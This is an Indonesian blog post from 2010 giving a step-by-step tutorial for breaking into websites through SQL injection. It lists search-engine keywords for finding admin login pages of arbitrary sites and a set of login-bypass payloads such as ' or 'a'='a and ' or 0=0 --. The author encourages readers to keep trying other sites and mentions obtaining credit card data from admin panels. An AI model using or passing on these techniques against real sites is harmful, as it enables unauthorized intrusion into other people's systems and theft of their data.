Selasa, 26 Januari 2010
halo kembali lagi nih, saya akan memberi tahu kan cara hacker dengan cara SQL Injection pasti ini udah pada tau nih, tapi yang belum tau boleh aja untuk belajar dan yang sudah tau untuk mengingat-ingat kembali, ini pernah saya lakukan dan sering saya lakukan dari jaman dulu, ternyata masih bisa di gunakan, Para pembuat Website kebanyakan sangat lupa atau malas dengan keamannannya banyak sekali website begitu mudah masuk atau seseorang dapat login kedalam sistem tanpa harus memiliki account, dan saya sering melakukan SQL injection untuk belajar dan mengetahui web tersebut bukan untuk merusak,selain itu juga SQL injection memungkinkan seseorang dapat merubah, menghapus atau menambah data-data yang berada di dalam database si website tersebut, bahkan bisa lebih parah lagi yaitu mematikan data base itu sendiri sehingga tidak bisa membirikan layanan kepada web server. oke sekarang kita masuk kedalam pokok bahasan pertama- tama yang kita siapkan adalah
- Internet Exploler/mozilla firefox /browser lainnya
- PC yang terhubung internet
- kopi + cemilan + roko yang suka merokok sambil nyantai
- tambahan lagi Program atau software yang pernah saya posting sebelumnya, tidak pake juga gak apa2 tapi lebih afdol lagi kalo pepatah orang tua jaman dulu hehe...he..he..
Stelah itu kita melakukan implementasi SQL Injection masuk ke google atau brwser yang lain dan masukanlah salah satu keyword berikut
- "/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp" - bukalah salah satu link yang ditemukan di google kemungkinan anda akan menjumpai sebuah halaman login seperti (user name dan Pasword)
- Masukan kode berikut : User name : ` or `a'='a dan Pasword : ` or `a'='a ( termasuk tanda petiknya)
- Jika ber hasil kemungkinan anda akamn masuk ke admin Panel di mana anda bisa menambahkan berita atau menggantinya bisa juga mendapatkan kredit card yang banyak
- Jika tidak berhasil, coba anda mencari link yang lain yang ditemukan di google
- banyak variasi kode antara lain :
User name : admin
Password : ` or `a'='a - Bisa juga di masukan kedua-duanya seperti
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
- mudah-mudahan berhasil yah dan jangan menyerah oke ini yang pernah saya lakukan dan berhasil dan masih banyak lagi nati saya sambung lagi
Postingan
1 komentar:
mambu
Posting Komentar